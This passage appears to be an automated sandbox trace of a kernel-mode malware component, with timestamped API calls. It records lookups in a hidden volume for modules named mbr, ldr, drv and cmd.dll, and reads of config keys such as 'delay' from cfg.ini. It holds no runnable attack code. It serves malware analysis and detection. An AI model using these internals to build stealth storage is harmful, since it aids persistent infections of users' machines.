Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.446] IdePortDispatch () returned 0x103 [0125.446] KeWaitForMutexObject () returned 0x0 [0125.446] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.446] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.446] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.446] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.446] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.446] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.446] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.446] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.446] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.446] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.446] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.446] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.446] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.446] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.446] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.446] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.446] KeLeaveCriticalRegion () [0125.446] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.446] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.447] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.447] KeEnterCriticalRegion () [0125.447] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.447] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.447] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.447] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.447] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.447] IdePortDispatch () returned 0x103 [0125.447] KeWaitForMutexObject () returned 0x0 [0125.447] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.447] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.447] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.447] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.447] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.447] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.447] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.447] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.447] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.447] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.447] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.447] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.447] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.447] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.447] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.447] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.447] KeLeaveCriticalRegion () [0125.447] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.447] ReleaseMutex (hMutex=0x100) returned 1 [0125.447] Sleep (dwMilliseconds=0x2bf20) [0125.454] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6df90990, dwHighDateTime=0x1d24fa4)) [0125.454] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.454] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.454] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.454] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.454] KeEnterCriticalRegion () [0125.454] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.454] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.454] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.454] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.454] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.454] IdePortDispatch () returned 0x103 [0125.454] KeWaitForMutexObject () returned 0x0 [0125.454] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.454] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.454] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.454] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.454] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.454] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7070 [0125.454] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.454] KeLeaveCriticalRegion () [0125.454] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.454] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.454] KeEnterCriticalRegion () [0125.454] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.454] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.454] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.454] KeLeaveCriticalRegion () [0125.454] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.454] KeEnterCriticalRegion () [0125.454] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.454] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.454] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.454] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.454] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.454] IdePortDispatch () returned 0x103 [0125.455] KeWaitForMutexObject () returned 0x0 [0125.455] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.455] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.455] KeLeaveCriticalRegion () [0125.455] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.455] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.455] KeEnterCriticalRegion () [0125.455] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.455] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c57000 [0125.455] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.455] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.455] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.455] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.455] IdePortDispatch () returned 0x103 [0125.455] KeWaitForMutexObject () returned 0x0 [0125.455] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.455] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.455] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.455] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.455] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.455] IdePortDispatch () returned 0x103 [0125.455] KeWaitForMutexObject () returned 0x0 [0125.455] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.455] KeLeaveCriticalRegion () [0125.456] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.456] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.456] KeEnterCriticalRegion () [0125.456] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.456] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.456] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.456] KeLeaveCriticalRegion () [0125.456] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.456] KeEnterCriticalRegion () [0125.456] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.456] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.456] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf7330, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.456] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.456] KeLeaveCriticalRegion () [0125.456] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.456] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.456] KeEnterCriticalRegion () [0125.456] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.456] ExFreePoolWithTag (P=0xfffffa8003bf7070, Tag=0x0) [0125.456] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.456] KeLeaveCriticalRegion () [0125.456] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.456] ReleaseMutex (hMutex=0xf0) returned 1 [0125.456] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.456] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.456] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.456] KeEnterCriticalRegion () [0125.457] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.457] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.457] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.457] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.457] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.457] IdePortDispatch () returned 0x103 [0125.457] KeWaitForMutexObject () returned 0x0 [0125.457] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.457] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.457] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.457] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.457] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.457] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7170 [0125.457] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.457] KeLeaveCriticalRegion () [0125.457] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.457] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.457] KeEnterCriticalRegion () [0125.457] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.457] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.457] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.457] KeLeaveCriticalRegion () [0125.457] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.457] KeEnterCriticalRegion () [0125.457] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.457] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.457] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.457] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.457] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.457] IdePortDispatch () returned 0x103 [0125.457] KeWaitForMutexObject () returned 0x0 [0125.458] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.458] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.458] KeLeaveCriticalRegion () [0125.458] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.458] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.458] KeEnterCriticalRegion () [0125.458] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.458] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c58000 [0125.458] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.458] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.458] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.458] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.458] IdePortDispatch () returned 0x103 [0125.458] KeWaitForMutexObject () returned 0x0 [0125.458] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.458] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.458] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.458] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.458] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.458] IdePortDispatch () returned 0x103 [0125.458] KeWaitForMutexObject () returned 0x0 [0125.458] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.458] KeLeaveCriticalRegion () [0125.458] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.459] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.459] KeEnterCriticalRegion () [0125.459] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.459] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.459] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.459] KeLeaveCriticalRegion () [0125.459] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.459] KeEnterCriticalRegion () [0125.459] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.459] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.459] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf8f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.459] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.459] KeLeaveCriticalRegion () [0125.459] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.459] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.459] KeEnterCriticalRegion () [0125.459] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.459] ExFreePoolWithTag (P=0xfffffa8003bf7170, Tag=0x0) [0125.459] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.459] KeLeaveCriticalRegion () [0125.459] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.459] ReleaseMutex (hMutex=0xf0) returned 1 [0125.459] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.459] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.459] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.459] KeEnterCriticalRegion () [0125.459] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.459] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.459] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.459] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.459] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.459] IdePortDispatch () returned 0x103 [0125.459] KeWaitForMutexObject () returned 0x0 [0125.460] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.460] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.460] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.460] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.460] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.460] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf74c0 [0125.460] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.460] KeLeaveCriticalRegion () [0125.460] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.460] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.460] KeEnterCriticalRegion () [0125.460] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.460] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.460] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.460] KeLeaveCriticalRegion () [0125.460] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.460] KeEnterCriticalRegion () [0125.460] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.460] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.460] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.460] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.460] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.460] IdePortDispatch () returned 0x103 [0125.460] KeWaitForMutexObject () returned 0x0 [0125.460] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.460] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.460] KeLeaveCriticalRegion () [0125.460] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.460] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.460] KeEnterCriticalRegion () [0125.460] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.461] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c59000 [0125.461] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.461] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.461] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.461] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.461] IdePortDispatch () returned 0x103 [0125.461] KeWaitForMutexObject () returned 0x0 [0125.461] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.461] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.461] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.461] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.461] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.461] IdePortDispatch () returned 0x103 [0125.461] KeWaitForMutexObject () returned 0x0 [0125.461] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.461] KeLeaveCriticalRegion () [0125.461] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.462] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: 